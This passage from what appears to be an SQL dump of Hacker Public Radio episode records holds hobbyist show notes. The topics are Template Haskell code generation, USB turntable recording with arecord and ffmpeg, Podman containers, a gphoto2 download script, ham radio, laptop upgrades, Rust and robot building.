<code>Ord</code> and <code>Num</code> instances too.</p>\r\n<p>These instances give us some basic functions that we can use to turn out value into <code>String</code> and back or compare two values to see if they\'re equal or not. <code>Ord</code> lets us compare their relative size and <code>Num</code> adds some basic arithmetics like addition and subtraction.</p>\r\n<p>Remember, type constructor is used when talking about the type (function signatures, declaring type of a value, etc.), while data constructor is used to create values of the type (\"Earth\", \"Mars\", etc.). <code>isPlanet :: PlanetName -&gt; Bool</code> states that <code>isPlanet</code> function takes one parameter of type <code>PlanetName</code> and returns value of type <code>Bool</code>. <code>planet = MkPlanetName \"Earth\"</code> creates a new value <code>planet</code>, that has type <code>PlanetName</code> and which value is <code>MkPlanetName \"Earth\"</code>.</p>\r\n<h2 id=\"boilerplate\">Boilerplate</h2>\r\n<p>When <code>PlanetName</code> is defined, I need to add some instances by hand: <code>IsString</code>, <code>ToJSON</code>, <code>FromJSON</code>, <code>PersistField</code> and <code>PersistFieldSql</code>.</p>\r\n<p><code>IsString</code> lets me use string literals in code, without having to call the data constructor. Compiler is smart enough to infer from context if string I typed should be <code>PlanetName</code> or something else.</p>\r\n<p><code>ToJSON</code> and <code>FromJSON</code> are used to turn value to and from json for transferring back and forth between client and server. In json our value is just simple string, but we still need to program that transformation.</p>\r\n<p><code>PersistFieldSql</code> tells Persistent (database layer I\'m using) what type of database field should be created to hold this data in database.</p>\r\n<p><code>PersistField</code> contains functions for serializing our value to database and loading it from there.</p>\r\n<p>Below is full code that I want to abstract out as much as I can:</p>\r\n<pre><code>newtype PlanetName\r\n = MkPlanetName {_unPlanetName :: Text}\r\n deriving (Show, Read, Eq)\r\n\r\ninstance IsString PlanetName where\r\n fromString = (MkPlanetName . fromString)\r\n\r\ninstance ToJSON PlanetName where\r\n toJSON = (toJSON . _unPlanetName)\r\n\r\ninstance FromJSON PlanetName where\r\n parseJSON = (withText &quot;PlanetName&quot;) (return . MkPlanetName)\r\n\r\ninstance PersistField PlanetName where\r\n toPersistValue (MkPlanetName s) = PersistText s\r\n fromPersistValue (PersistText s) = (Right $ MkPlanetName s)\r\n fromPersistValue _ = Left &quot;Failed to deserialize&quot;\r\n\r\ninstance PersistFieldSql PlanetName where\r\n sqlType _ = SqlString\r\n</code></pre>\r\n<h2 id=\"template-haskell\">Template Haskell</h2>\r\n<p>Template Haskell is an extension that adds metaprogramming capabilities to Haskell. One can write function that generates Haskell code and call it in appropriate place in source file. During compilation the function gets executed and resulting code injected in source file. After this source file is compiled normally. If you have used lisp macros, this is the similar thing.</p>\r\n<h2 id=\"generating-the-code\">Generating the code</h2>\r\n<p>We want a function that can be called like <code>$(makeDomainType \"PlanetName\" \'\'Text)</code> and it will create all the boiler plate for us.</p>\r\n<p>The function is show below:</p>\r\n<pre><code>makeDomainType :: String -&gt; Name -&gt; Q [Dec]\r\nmakeDomainType name fType = do\r\n tq &lt;- reify fType\r\n case tq of\r\n TyConI (DataD _ tName _ _ _ _) -&gt;\r\n selectDomainType name tName\r\n _ -&gt; do\r\n Language.Haskell.TH.reportError &quot;Only simple types are supported&quot;\r\n return []\r\n</code></pre>\r\n<p><code>reify</code> is interesting function. When called during compile time and given a name, it\'ll figure what the name refers to and construct datastructure that contains relevant information about the thing. If you were to give it name of a function, you would have access to code inside of the function and could introspect it.</p>\r\n<p>Here we\'re using <code>tq &lt;- reify fType</code> to find out what kind of type our code should wrap. Code uses pattern matching to match <code>TyConI (DataD _ tName _ _ _ _)</code>. This is referring to a type constructor. In all other cases (more complex types, functions and so on), code reports and error.</p>\r\n<p>Since code should support different types of types and the respective generated code differs, next there\'s check to find out what kind of code to generate:</p>\r\n<pre><code>selectDomainType :: String -&gt; Name -&gt; Q [Dec]\r\nselectDomainType name fType\r\n | fType == &#39;&#39;Text = makeTextDomainType name\r\n | fType == &#39;&#39;Int = makeIntDomainType name\r\n | otherwise = do\r\n Language.Haskell.TH.reportError &quot;Unsupported type&quot;\r\n return []\r\n</code></pre>\r\n<p>This uses guard clause to check if <code>fType</code> is <code>Text</code> or <code>Int</code> and call respective function to generate it. Again, if there\'s no match, code reports an error.</p>\r\n<p>I could have written a function that generates all the code, but that would have been pretty long and hard to maintain. Instead of that, I opted to split generation in parts. <code>makeTextDomainType</code> calls these functions, one at a time and combines the results together to form the final code to be generated.</p>\r\n<pre><code>makeTextDomainType :: String -&gt; Q [Dec]\r\nmakeTextDomainType name = do\r\n td &lt;- makeNewTypeDefinition name &#39;&#39;Text\r\n si &lt;- makeIsStringInstance name\r\n tj &lt;- makeToJSONInstance name\r\n fj &lt;- makeFromJSONInstanceForText name\r\n mp &lt;- makePersistFieldInstanceForText name\r\n mps &lt;- makePersistFieldSqlInstance name &#39;&#39;Text\r\n return $ td ++ si ++ tj ++ fj ++ mp ++ mps\r\n</code></pre>\r\n<p>Some of the functions called are specific for <code>Text</code> type, while others are written to work with <code>Text</code> and <code>Int</code>. The latter ones have extra parameter passed in to indicate which type of code should be generated.</p>\r\n<h2 id=\"actual-code-generation\">Actual code generation</h2>\r\n<p>Now we\'re getting into actual code generation. First one is <code>makeNewTypeDefinition</code>, which generates code for <code>newtype</code>.</p>\r\n<pre><code>makeNewTypeDefinition :: String -&gt; Name -&gt; Q [Dec]\r\nmakeNewTypeDefinition name fType = do\r\n deriv &lt;- derivClausForNewType fType\r\n return $\r\n [NewtypeD []\r\n (mkName name)\r\n []\r\n Nothing\r\n (RecC (mkName $ &quot;Mk&quot; ++ name)\r\n [(mkName $ &quot;_un&quot; ++ name, Bang NoSourceUnpackedness NoSourceStrictness, (ConT fType))])\r\n [ DerivClause Nothing deriv]]\r\n</code></pre>\r\n<p>First step is to call <code>derivClausForNewType</code> to create deriving clause (we\'ll look into that just in a bit). The major part of the code consist of generating newtype definition. There\'s two ways for code generation: quoting (which works very similar to lisp macros) and writing abstract syntax tree by hand. No matter what I tried, I couldn\'t get the quoting work for newtype, so I had to write the AST out by hand. And as you can see, it\'s not particularly pleasant experience. Constructor names are short and cryptic and there\'s plenty of them there. Some major parts:</p>\r\n<ul>\r\n<li><code>NewtypeD</code> starts definition for newtype</li>\r\n<li><code>(mkName name)</code> creates <code>Name</code> for the newtype, <code>PlanetName</code> in our example</li>\r\n<li><code>RecC</code> record constuctor. We have a single record in our newtype, remember?</li>\r\n<li><code>DerivClause</code> deriving clause, which istructs compiler to autogenerate some useful instances for us</li>\r\n</ul>\r\n<p>And <code>RecC</code> takes a bunch of parameters to guide what kind of record we\'re actually creating:</p>\r\n<ul>\r\n<li><code>(mkName $ \"Mk\" ++ name)</code> creates <code>Name</code> for our record constructor, <code>MkPlanetName</code> in our case</li>\r\n<li>then there\'s a list of tuples defining fields of constructor, which has only one element in our case</li>\r\n<li>first is name of the field <code>mkName $ \"_un\" ++ name</code>, which is <code>_unPlanetName</code> in our case</li>\r\n<li><code>Bang</code> controls source packedness (that I don\'t know what it really is) and strictness (when value should be computed)</li>\r\n<li>finally, <code>ConT fType</code> creates type constructor call, indicating type of the field: <code>Text</code> in our case</li>\r\n</ul>\r\n<p>That\'s quite lot to write and keep track of. It\'s especially tedious to come back to code and figure out what it is exactly doing.</p>\r\n<p>Lets not forget our deriving clause:</p>\r\n<pre><code>derivClausForNewType :: Name -&gt; Q [Type]\r\nderivClausForNewType fType\r\n | fType == &#39;&#39;Text = return $ (ConT . mkName) &lt;$&gt; [ &quot;Show&quot;, &quot;Read&quot;, &quot;Eq&quot; ]\r\n | fType == &#39;&#39;Int = return $ (ConT . mkName) &lt;$&gt; [ &quot;Show&quot;, &quot;Read&quot;, &quot;Eq&quot;, &quot;Ord&quot;, &quot;Num&quot; ]\r\n | otherwise = do Language.Haskell.TH.reportError &quot;Unsupported type&quot;\r\n return []\r\n</code></pre>\r\n<p>Again we\'re using guard to check if we\'re working with <code>Text</code> or <code>Int</code> and in any other case signal an error. <code>&lt;$&gt;</code> is used to call <code>(ConT . mkName)</code> function to elements in list of strings, getting back a list of type constructors.</p>\r\n<p>Next step, we create <code>IsString</code> instance for turning string literals into our domain type.</p>\r\n<pre><code>makeIsStringInstance :: String -&gt; Q [Dec]\r\nmakeIsStringInstance name = do\r\n [d|instance IsString $(conT $ mkName name) where\r\n fromString = $(conE $ mkName $ &quot;Mk&quot; ++ name) . fromString|]\r\n</code></pre>\r\n<p>Here I could get quoting to work. In the example, everything inside of <code>[d| ... |]</code> is quoted literally, ie. I don\'t have to bother with AST, but can just write in plain Haskell what I want the result to be. <code>$</code> that is immediately followed with another symbol is used to unquote. <code>$(conT $ mkName name)</code> executes <code>conT $ mkName name</code> and splices result inside the quote. Because <code>name</code> is a <code>String</code>, we can create a new <code>String</code> by appending <code>\"Mk\"</code> at the start of it. This creates our data constructor <code>MkPlanetName</code>. Notice how we use <code>conT</code> when creating a type constructor and <code>conE</code> for applying data constructor.</p>\r\n<p>For transforming our domain type to and from json we need <code>ToJSON</code> and <code>FromJSON</code> instances. Generating them is very similar than generating <code>IsString</code> instance, but I have included them below for sake of completeness.</p>\r\n<pre><code>makeToJSONInstance :: String -&gt; Q [Dec]\r\nmakeToJSONInstance name = do\r\n [d|instance ToJSON $(conT $ mkName name) where\r\n toJSON = toJSON . $(varE $ mkName $ &quot;_un&quot; ++ name)|]\r\n\r\nmakeFromJSONInstanceForText :: String -&gt; Q [Dec]\r\nmakeFromJSONInstanceForText name = do\r\n [d|instance FromJSON $(conT $ mkName name) where\r\n parseJSON =\r\n withText name\r\n (return . $(conE $ mkName $ &quot;Mk&quot; ++ name))|]\r\n</code></pre>\r\n<p>Next we\'ll take serializing to and from database. Since Persistent takes care of the details, it\'s enough that we have two instances that interface with Persistent. First one of them is <code>PersistField</code> as show below:</p>\r\n<pre><code>makePersistFieldInstanceForText :: String -&gt; Q [Dec]\r\nmakePersistFieldInstanceForText name = do\r\n let constName = mkName $ &quot;Mk&quot; ++ name\r\n constPatt = conP constName [varP $ mkName &quot;s&quot;]\r\n pTextPatt = conP (mkName &quot;PersistText&quot;) [varP $ mkName &quot;s&quot;]\r\n [d|instance PersistField $(conT $ mkName name) where\r\n toPersistValue $constPatt =\r\n PersistText s\r\n\r\n fromPersistValue $pTextPatt =\r\n Right $ $(conE constName) s\r\n\r\n fromPersistValue _ =\r\n Left &quot;Failed to deserialize&quot;|]\r\n</code></pre>\r\n<p>This has more code into it as the type class requires us to implement three functions. Imagine how tedious this would be to write out as plain AST. But thanks to quoting, we can write most of the code as it were regular Haskell and just splice in the parts that vary.</p>\r\n<p>First notable part in it is <code>constPatt = conP constName [varP $ mkName \"s\"]</code>, which creates a pattern used in pattern matching. When <code>toPersistValue</code> is called with <code>MkPlanetName s</code> as parameter, our pattern matches and we have access to <code>s</code>. When then call data constructor <code>PersistText s</code> and let Persistent to save this newly created value into database.</p>\r\n<p>Second pattern in the code is <code>conP (mkName \"PersistText\") [varP $ mkName \"s\"]</code> and we use it in <code>fromPersistValue</code> function. So when that function is called with <code>PersistText s</code>, our pattern matches and we have access to <code>s</code>. Which we then use to call <code>MkPlanetName s</code> to construct our domain type. If <code>fromPersistValue</code> would be called with something else, say numeric value from database, <code>fromPersistValue _</code> pattern matches and we\'ll report an error. This normally shouldn\'t happen, but it\'s good practice to always cover all patterns, otherwise we get a nasty runtime exception and whole program grinds to halt.</p>\r\n<p>Last piece in our long puzzle is <code>PersistFieldSql</code>, which tells Persistent the type of the backing field in database.</p>\r\n<pre><code>makePersistFieldSqlInstance :: String -&gt; Name -&gt; Q [Dec]\r\nmakePersistFieldSqlInstance name fType = do\r\n let typeName = mkName name\r\n let backingType = selectBackingSqlType fType\r\n [d|instance PersistFieldSql $(conT typeName) where\r\n sqlType _ = $backingType|]\r\n\r\nselectBackingSqlType :: Name -&gt; ExpQ\r\nselectBackingSqlType fType\r\n | fType == &#39;&#39;Text = conE $ mkName &quot;SqlString&quot;\r\n | fType == &#39;&#39;Int = conE $ mkName &quot;SqlInt64&quot;\r\n | otherwise = do Language.Haskell.TH.reportError &quot;Unsupported type&quot;\r\n return $ ConE $ mkName &quot;SqlString&quot;\r\n</code></pre>\r\n<p>This is probably starting to look familiar to you by now. We create instance of <code>PersistFieldSql</code> for our domain type. For <code>Text</code> we want to save data as <code>SqlString</code> and for <code>Int</code> we use <code>SqlInt64</code>. The actual, concrete and definite, column type is actually selected by Persistent based on this information. Persistent supports different kinds of databases, so it\'ll take care of mapping this information for the actual database product we\'re using.</p>\r\n<h2 id=\"in-closing\">In closing</h2>\r\n<p>Using template Haskell can cut down amount of boiler plate code. It also lets you create new abstractions that might not be possible with the tools offered by regular Haskell. All this is nice until things don\'t work as planned and you have to figure out why. Debugging complicated template Haskell, especially if written by somebody else, can be tedious.</p>\r\n<p>As usual, if you have any questions, comments or feedback, feel free to reach out for me via email or in fediverse where I\'m <code>Tuula@tech.lgbt</code>. Or even better, record your own episode telling us where you use template Haskell or why did you choose not to use it at all.</p>\r\n<p>ad astra!</p>\r\n',364,0,0,'CC-BY-SA','haskell, metaprogramming, template haskell',0,0,1),
(3516,'2022-01-24','Rant about RX',1303,'This is a rant mostly about prescriptions and health care','<p>It\'s a rant mostly about prescriptions and health care</p>\r\n',36,100,1,'CC-BY-SA','rant',0,0,1),
(3507,'2022-01-11','USB Turntable fix and sound journey',528,'USB Turntable fix and sound journey with arecord, asound and ffmpeg','<p>Partial list of albums</p>\r\n<ul>\r\n<li>Journey - Frontiers</li>\r\n<li>Journey - Evolution</li>\r\n<li>Journey - Greatest Hits</li>\r\n<li>Journey - Departure</li>\r\n<li>Chicago - 2 albums - unknown titles</li>\r\n<li>John Denver - Rocky Mountain Christmas</li>\r\n<li>Inside Star Trek (1976)\r\n<ul>\r\n<li>SIDE I Inside Star Trek Star Trek Theme William Shatner Meets Captain Kirk The Origin of Spock Sarek\'s Son Spock The Questor Affair</li>\r\n<li>SIDE II The Enterprise Runs Aground McCoy\'s Rx for Life The Star Trek Philosophy Asimov\'s World of Science Fiction A Letter From a Network Censor The Star Trek Dream Ballad I/Ballad II)*</li>\r\n</ul></li>\r\n</ul>\r\n<p><em>Inside Star Trek album: Cover</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3507/image_001.png\"><img\r\nsrc=\"https://hackerpublicradio.org/eps/hpr3507/image_001_thumbnail.png\"\r\nalt=\"Inside Star Trek album: Cover\" /></a> <br/><small><small><em>Click the\r\nthumbnail to see the full-sized image</em></small></small> - - </p>\r\n<p><em>Inside Star Trek album: Contents</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3507/image_002.png\"><img src=\"https://hackerpublicradio.org/eps/hpr3507/image_002_thumbnail.png\" alt=\"Inside Star Trek album: Contents\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small> - - </p>\r\n<p>I found a turntable at the thrift store, and the spindle ran, but the platter did not. The belt had slipped off, and here is the fix.</p>\r\n<ul>\r\n<li><a href=\"https://www.youtube.com/watch?app=desktop&amp;v=rXkOoaIVsvE\" class=\"uri\">https://www.youtube.com/watch?app=desktop&amp;v=rXkOoaIVsvE</a></li>\r\n</ul>\r\n<p><em>How to remove platter</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3507/image_003.png\"><img src=\"https://hackerpublicradio.org/eps/hpr3507/image_003_thumbnail.png\" alt=\"How to remove platter\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small> - - </p>\r\n<p><em>Belt placement</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3507/image_004.png\"><img src=\"https://hackerpublicradio.org/eps/hpr3507/image_004_thumbnail.png\" alt=\"Belt placement\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small> - - </p>\r\n<h2 id=\"routing-audio-from-a-usb-turntable-to-hdmi-using-a-raspberry-pi\">Routing Audio from a USB Turntable to HDMI using a Raspberry Pi</h2>\r\n<ul>\r\n<li><a href=\"https://www.rickmakes.com/routing-audVmmsio-from-a-usb-turntable-to-hdmi-using-a-raspberry-pi\" class=\"uri\">https://www.rickmakes.com/routing-audVmmsio-from-a-usb-turntable-to-hdmi-using-a-raspberry-pi</a></li>\r\n</ul>\r\n<p>Send input to output</p>\r\n<pre><code>alsaloop -t 500000 -C hw:CARD=CODEC,DEV=0 -P default:CARD=b1</code></pre>\r\n<h2 id=\"alsaloop-man-page\">alsaloop man page</h2>\r\n<ul>\r\n<li><p><a href=\"https://linux.die.net/man/1/alsaloop\" class=\"uri\">https://linux.die.net/man/1/alsaloop</a></p>\r\n<p>-t <usec> | --tlatency=<usec> Requested latency in usec (1/1000000sec).</p></li>\r\n</ul>\r\n<p>Parameter b1 is found by</p>\r\n<pre><code>pi@retropie:~ $ aplay -l\r\n**** List of PLAYBACK Hardware Devices ****\r\ncard 0: b1 [bcm2835 HDMI 1], device 0: bcm2835 HDMI 1 [bcm2835 HDMI 1]</code></pre>\r\n<h2 id=\"raspberry-pi-as-a-usb-audio-capture-device\">Raspberry Pi as a USB audio capture device</h2>\r\n<ul>\r\n<li><p><a href=\"https://scruss.com/blog/2012/11/20/raspberry-pi-as-a-usb-audio-capture-device\" class=\"uri\">https://scruss.com/blog/2012/11/20/raspberry-pi-as-a-usb-audio-capture-device</a></p>\r\n<p>arecord -D \'pulse\' -V stereo -c 2 -f dat -d 900 out.wav</p>\r\n<p>arecord -D \'hw:CARD=CODEC,DEV=0\' -V stereo -c 2 -f dat -d 900 out.wav</p></li>\r\n</ul>\r\n<p>Used <code>hw:CARD=CODEC,DEV=0</code> derived from \'arecord -L\'</p>\r\n<pre><code>hw:CARD=CODEC,DEV=0\r\nUSB Audio CODEC, USB Audio\r\nDirect hardware device without any conversions</code></pre>\r\n<h2 id=\"arecord-man-page\">arecord man page</h2>\r\n<ul>\r\n<li><a href=\"https://linux.die.net/man/1/arecord\" class=\"uri\">https://linux.die.net/man/1/arecord</a></li>\r\n</ul>\r\n<pre><code> -D, --device=NAME\r\n Select PCM by name\r\n -V, --vumeter=TYPE\r\n Specifies the VU-meter type, either stereo or mono. The stereo VU-meter is available only for 2-channel stereo samples with interleaved format.\r\n -c, --channels=#\r\n The number of channels. The default is one channel. Valid values are 1 through 32.\r\n -f --format=FORMAT\r\n Sample format\r\n Recognized sample formats are: S8 U8 S16_LE S16_BE U16_LE U16_BE S24_LE S24_BE U24_LE U24_BE S32_LE S32_BE U32_LE U32_BE FLOAT_LE FLOAT_BE FLOAT64_LE FLOAT64_BE IEC958_SUBFRAME_LE IEC958_SUBFRAME_BE MU_LAW A_LAW IMA_ADPCM MPEG GSM SPECIAL S24_3LE S24_3BE U24_3LE U24_3BE S20_3LE S20_3BE U20_3LE U20_3BE S18_3LE S18_3BE U18_3LE\r\n Some of these may not be available on selected hardware\r\n The available format shortcuts are:\r\n\r\n -f cd (16 bit little endian, 44100, stereo) [-f S16_LE -c2 -r44100]\r\n -f cdr (16 bit big endian, 44100, stereo) [-f S16_BE -c2 -f44100]\r\n -f dat (16 bit little endian, 48000, stereo) [-f S16_LE -c2 -r48000]</code></pre>\r\n<h2 id=\"recording-to-flac\">Recording to FLAC</h2>\r\n<ul>\r\n<li><a href=\"https://unix.stackexchange.com/questions/583892/how-can-one-record-mic-audio-straight-to-a-flac-file\" class=\"uri\">https://unix.stackexchange.com/questions/583892/how-can-one-record-mic-audio-straight-to-a-flac-file</a></li>\r\n</ul>\r\n<p>How can one record mic audio straight to a FLAC file?</p>\r\n<pre><code>ffmpeg -f alsa -ar 48000 -ac 1 -i hw:0 testfile.flac</code></pre>\r\n<h3 id=\"took-out-the--ac-1-which-downmixed-the-input-to-mono\">Took out the \"-ac 1\", which downmixed the input to mono</h3>\r\n<p>Change hw:0 to hw:2 based on</p>\r\n<pre><code>pi@retropie:~/vinyl $ arecord -l\r\n**** List of CAPTURE Hardware Devices ****\r\ncard 2: USB20 [AV TO USB2.0], device 0: USB Audio [USB Audio]\r\nSubdevices: 1/1\r\nSubdevice #0: subdevice #0\r\n\r\nffmpeg -f alsa -ar 48000 -i hw:2 testfile_stereo.flac</code></pre>\r\n<h2 id=\"ffmpeg-audio-channel-manipulation\">FFmpeg Audio Channel Manipulation</h2>\r\n<ul>\r\n<li><a href=\"https://trac.ffmpeg.org/wiki/AudioChannelManipulation\" class=\"uri\">https://trac.ffmpeg.org/wiki/AudioChannelManipulation</a></li>\r\n</ul>\r\n',318,0,0,'CC-BY-SA','Vinyl, album, Vinyl album, record album, aplay, arecord, alsaloop, ffmpeg,retro, USB turntable',0,0,1),
(3511,'2022-01-17','Podman like Vagrant',1160,'This is how I use Podman on the desktop','<p>I used to use Vagrant to spin up minimal virtual machines when I needed to test code on a different distro than what I ran. Lately I\'ve switched to <a href=\"https://podman.io\" target=\"_blank\">Podman</a>.</p>\r\n\r\n<p>Install Podman with your distribution\'s package manager.</p>\r\n\r\n<p>Configure it:</p>\r\n\r\n<pre><code>\r\n$ sudo --add-subuids 200000-265536 \\\r\n--add-subgids 200000-265536 \\\r\n$USER\r\n</code></pre>\r\n\r\n<p>Create a directory to share data between your container and your localhost:</p>\r\n\r\n<pre><code>\r\n$ mkdir data\r\n</code></pre>\r\n\r\n<p>Run a container, with your <strong>.&#47;data</strong> directory mapped to <strong>&#47;storage</strong> in the container:</p>\r\n\r\n<pre><code>\r\n$ podman run -it --volume ./data:/storage:Z busybox\r\n</code></pre>\r\n\r\n\r\n',78,8,0,'CC-BY-SA','containers, podman, docker, vagrant',0,0,1),
(3512,'2022-01-18','Auld Acquaintance',659,'flappin gums aboot auld hardware and how I use it.','<p>Toshiba Satellite L455-S5000<br />\r\n<a href=\"https://www.ifixit.com/Device/Toshiba_Satellite_L455-S5975\" class=\"uri\">https://www.ifixit.com/Device/Toshiba_Satellite_L455-S5975</a></p>\r\n<p>The script!</p>\r\n<pre><code>#!/bin/bash\r\n\r\n# target dir is ~/Photos/YYYY-MM-DD_Hm\r\ntargetDir=&quot;/home/$USER/Photos/$(date +&quot;%F_%H%M&quot;)&quot;\r\n\r\n# create the dir\r\nmkdir $targetDir\r\n\r\n# cd to dir\r\ncd $targetDir\r\n\r\n# kill all gphoto stuff\r\npkill -f gphoto2\r\n\r\n# get the files\r\ngphoto2 --get-all-files\r\n\r\n# delete all files on camera recursively\r\ngphoto2 -DR</code></pre>\r\n',243,0,0,'CC-BY-SA','auld hardware, photography',0,0,1),
(3513,'2022-01-19','HB9HNT and PA7KEN on SOTA, Summits on the Air',2595,'Summits on the Air is the combination of mountain climbing and amateur radio','<h2 id=\"links\">Links</h2>\r\n<p>You\'ll find further information under the following links:</p>\r\n<ul>\r\n<li><a href=\"https://de.wikipedia.org/wiki/Summits_on_the_Air\">Summits on the Air on Wikipedia</a></li>\r\n<li><a href=\"https://www.sota.org.uk/\">The main SOTA website</a></li>\r\n<li><a href=\"https://sotawatch.sota.org.uk/en/\">SotaWatch 3</a> where you post spots and alerts</li>\r\n<li><a href=\"https://www.sotadata.org.uk/en/\">SotaData</a> where you post your activation and chaser reports to claim points</li>\r\n<li><a href=\"https://reflector.sota.org.uk/\">SOTA Reflector</a> the SOTA internet forums</li>\r\n<li><a href=\"https://sotl.as\">SOTLAS</a> a map of SOTA summits with activations and other info</li>\r\n</ul>\r\n',288,0,1,'CC-BY-SA','ham, ham radio, hamradio, sota',0,0,1),
(3521,'2022-01-31','Upgrades to Acer Aspire 5 Slim',344,'Upgrades to Aspire 5 Slim and Specs','<h3 id=\"upgrades-to-aspire-5-slim-a515-43-r19l\">Upgrades to Aspire 5 Slim A515-43-R19L</h3>\r\n<p>Replacement for the Acer Aspire 5750</p>\r\n<p>Aspire A515-43 How to Install an Additional Hard Drive<br />\r\n<a href=\"https://www.youtube.com/watch?v=XiadRhJ70Rs\" class=\"uri\">https://www.youtube.com/watch?v=XiadRhJ70Rs</a></p>\r\n<h4 id=\"specs\">Specs</h4>\r\n<pre><code>{\r\n CPU: AMD Ryzen 3 3200U\r\n GPU: AMD Radeon RX Vega 3\r\n Display: 15.6&#x201D;, Full HD (1920 x 1080), IPS\r\n Storage: 128GB SSD, NMVE\r\n RAM: 4GB DDR4, upgradeable to 32Gb\r\n Weight: 1.90 kg (4.2 lbs)\r\n Ports and connectivity\r\n 2x USB Type-A 2.0\r\n 1x USB Type-A 3.2 Gen 1 (5 Gbps)\r\n HDMI\r\n}</code></pre>\r\n<h4 id=\"why\">Why?</h4>\r\n<ul>\r\n<li>The system would randomly kick me out, back to the login screen.</li>\r\n<li>This was due to low RAM (4Gb) and high RAM usage from Firefox</li>\r\n</ul>\r\n<h4 id=\"what\">What?</h4>\r\n<ul>\r\n<li>RAM: 16Gb DDR4</li>\r\n<li>HD: 500Gb spinning drive</li>\r\n</ul>\r\n<h4 id=\"other-uses-for-the-upgrade\">Other uses for the upgrade</h4>\r\n<ul>\r\n<li>Room for Virtual Machines</li>\r\n</ul>\r\n<h4 id=\"future-upgrade\">Future upgrade</h4>\r\n<ul>\r\n<li>SSD</li>\r\n</ul>\r\n<p><em>Screw locations</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3521/image_001.png\"><img src=\"https://hackerpublicradio.org/eps/hpr3521/image_001_thumbnail.png\" alt=\"Screw locations\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\r\n<p><em>Inside the laptop</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3521/image_002.png\"><img src=\"https://hackerpublicradio.org/eps/hpr3521/image_002_thumbnail.png\" alt=\"Inside the laptop\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\r\n<p><em>Power/Battery plug location</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3521/image_003.png\"><img src=\"https://hackerpublicradio.org/eps/hpr3521/image_003_thumbnail.png\" alt=\"Power/Battery plug location\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\r\n<p><em>Legend for inside the laptop</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3521/image_004.png\"><img src=\"https://hackerpublicradio.org/eps/hpr3521/image_004_thumbnail.png\" alt=\"Legend for inside the laptop\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\r\n',318,57,0,'CC-BY-SA','laptop, hardware, hardware upgrades, RAM, hard drive',0,0,1),
(3517,'2022-01-25','Hp stream laptop with Lubuntu 20.04',2257,'Laptop update','<p>Just a simple check of an old laptop with update</p>\r\n',129,0,0,'CC-BY-SA','Hp stream,Lubuntu,geko,Linux,pine64',0,0,1),
(3519,'2022-01-27','Rust 101: Episode 2 - Rolling With the Errors',3234,'In this episode, BlacKernel helps you construct a simple dice rolling application in rust.','<p>GitLab Repository: <a href=\"https://gitlab.com/BlacKernel/rust-roller\">https://gitlab.com/BlacKernel/rust-roller</a></p>\r\n<h2 id=\"rust-roller-dice-roller-tutorial-application\">Rust-Roller Dice Roller Tutorial Application</h2>\r\n<p>This is a simple dice rolling application that follows along with my <a href=\"https://hackerpublicradio.org\">Hacker Public Radio</a> course on learning the <a href=\"https://rust-lang.org\">rust programming language</a>.</p>\r\n<p>I will attempt to make the commits follow the episodes pretty closely with one commit after every episode with the episode number in the commit message.</p>\r\n<h3 id=\"usage\">Usage:</h3>\r\n<p><code>rust-roller &lt;number-of-dice&gt; &lt;number-of-sides-per-die&gt;</code></p>\r\n<h3 id=\"output\">Output:</h3>\r\n<p><code>Dice: &lt;value-of-die-1&gt; &lt;value-of-die-2&gt; ...</code></p>\r\n<p><code>Total: &lt;sum-of-all-dice-values&gt;</code></p>\r\n<hr />\r\n<h2 id=\"list-of-episodes\">List of Episodes</h2>\r\n<p><a href=\"https://hackerpublicradio.org/eps.php?id=3426\">Rust 101: Episode 0 - What in Tarnishing?</a></p>\r\n<p><a href=\"https://hackerpublicradio.org/eps.php?id=3453\">Rust 101: Episode 1 - Hello, World!</a></p>\r\n<p><a href=\"https://hackerpublicradio.org/eps.php?id=3519\">Rust 101: Episode 2 - Rolling With the Errors</a></p>\r\n<hr />\r\n<p>Contact Info:</p>\r\n<p><a href=\"https://nixnet.social/BlacKernel\">at blackernel at nixnet dot social</a></p>\r\n<p><a href=\"mailto@izzyleibowitz@pm.me\">izzyleibowitz at pm dot me</a></p>\r\n',396,25,1,'CC-BY-SA','rust, programming, dice, learning',0,0,1),
(3522,'2022-02-01','Set up your Robot Building Lab and build a $0 Robot Platform',1580,'Ep 1 of Robot Warlords of the Apocalypse, build a free robot platform/crash buggy from old printers ','<h2 id=\"be-the-assimilator-not-the-assimilated\"><em>be the assimilator not the assimilated</em></h2>\r\n<h2 id=\"setting-up-your-robot-building-lab-and-building-your-first-platform-crash-buggy.\">Setting up your robot building lab and building your first platform/ crash buggy.</h2>\r\n<h3 id=\"getting-started\">Getting started</h3>\r\n<ol type=\"a\">\r\n<li>stuff to buy:<br />\r\n\r\n<ul>\r\n<li>order Arduino Uno or kit (recommended)<br />\r\nKit is highly recommended because you can work through projects for the various sensors and relays and gain experience using sensors. This makes it easier to integrate sensors into your robot, enabling it to more effectively interact with it\'s environment. Kit should come with a case, booklet, and have links to the code involved.</li>\r\n<li>order extra Arduinos (for when you blow up the first one)</li>\r\n<li>small machine screws of various lengths with nuts and washers</li>\r\n<li>18650 4 cell battery compartment</li>\r\n<li>2 18650 1 cell compartments*</li>\r\n<li>18650 chargers (wavgat) - these plug into a usb device</li>\r\n<li>solder/flux/solder sucker (tree sap)</li>\r\n<li>perfboard</li>\r\n<li>extra dupont wires (male to male)</li>\r\n<li>extra resistors</li>\r\n<li>optional\r\n<ul>\r\n<li>ultrasonic sensors (or hack out of something)</li>\r\n<li>mp3 module</li>\r\n</ul></li>\r\n<li>L298N h-bridge modules</li>\r\n</ul></li>\r\n<li>get tools and acc:\r\n<ul>\r\n<li>solder station</li>\r\n<li>computer with internet (raspberry pi works too) - should have 